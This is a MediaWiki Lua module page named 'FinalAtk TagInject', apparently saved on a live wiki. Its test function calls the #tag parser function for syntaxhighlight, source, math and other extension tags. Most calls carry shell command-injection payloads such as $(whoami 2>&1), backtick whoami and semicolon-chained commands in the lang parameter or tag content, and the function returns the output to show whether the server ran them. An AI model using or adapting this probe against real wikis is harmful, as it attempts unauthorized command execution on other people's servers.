模块:FinalAtk TagInject
可在模块:FinalAtk TagInject/doc创建此模块的帮助文档
local p = {}
function p.test(frame)
local parent = frame:getParent()
if not parent or not parent.callParserFunction then return "no_parent" end
local results = {}
-- callParserFunction(name, arg1, arg2, ...)
-- For #tag: {{#tag:tag_name|content|param1=val1|param2=val2}}
-- callParserFunction(parent, "tag", tag_name, content, "param1=val1")
-- Test 1: Normal tag
local ok1, out1 = pcall(parent.callParserFunction, parent, "tag", "syntaxhighlight", "print(1)", "lang=python")
results[1] = "normal=" .. tostring(ok1) .. ":" .. tostring(out1):sub(1,100)
-- Test 2: Command substitution in lang param
local ok2, out2 = pcall(parent.callParserFunction, parent, "tag", "syntaxhighlight", "TEST", "lang=$(whoami 2>&1)")
results[2] = "cmdsub=" .. tostring(ok2) .. ":" .. tostring(out2):sub(1,100)
-- Test 3: Backtick in lang param
local ok3, out3 = pcall(parent.callParserFunction, parent, "tag", "syntaxhighlight", "TEST", "lang=`whoami 2>&1`")
results[3] = "backtick=" .. tostring(ok3) .. ":" .. tostring(out3):sub(1,100)
-- Test 4: Semicolon in lang param
local ok4, out4 = pcall(parent.callParserFunction, parent, "tag", "syntaxhighlight", "TEST", "lang=python;whoami 2>&1;echo")
results[4] = "semi=" .. tostring(ok4) .. ":" .. tostring(out4):sub(1,100)
-- Test 5: Multiple params
local ok5, out5 = pcall(parent.callParserFunction, parent, "tag", "syntaxhighlight", "TEST", "lang=$(whoami 2>&1)", "style=monokai")
results[5] = "multi=" .. tostring(ok5) .. ":" .. tostring(out5):sub(1,100)
-- Test 6: Empty content, just lang
local ok6, out6 = pcall(parent.callParserFunction, parent, "tag", "syntaxhighlight", "", "lang=$(whoami 2>&1)")
results[6] = "empty=" .. tostring(ok6) .. ":" .. tostring(out6):sub(1,100)
-- Test 7: math tag with injection
local ok7, out7 = pcall(parent.callParserFunction, parent, "tag", "math", "$(whoami 2>&1)")
results[7] = "math=" .. tostring(ok7) .. ":" .. tostring(out7):sub(1,100)
-- Test 8: source tag (alias) with injection
local ok8, out8 = pcall(parent.callParserFunction, parent, "tag", "source", "TEST", "lang=$(whoami 2>&1)")
results[8] = "source=" .. tostring(ok8) .. ":" .. tostring(out8):sub(1,100)
-- Test 9: categorytree tag (might have different handling)
local ok9, out9 = pcall(parent.callParserFunction, parent, "tag", "categorytree", "Main_Page")
results[9] = "cattree=" .. tostring(ok9) .. ":" .. tostring(out9):sub(1,100)
-- Test 10: inputbox tag
local ok10, out10 = pcall(parent.callParserFunction, parent, "tag", "inputbox", "", "type=search")
results[10] = "inputbox=" .. tostring(ok10) .. ":" .. tostring(out10):sub(1,100)
return table.concat(results, " | ")
end
return p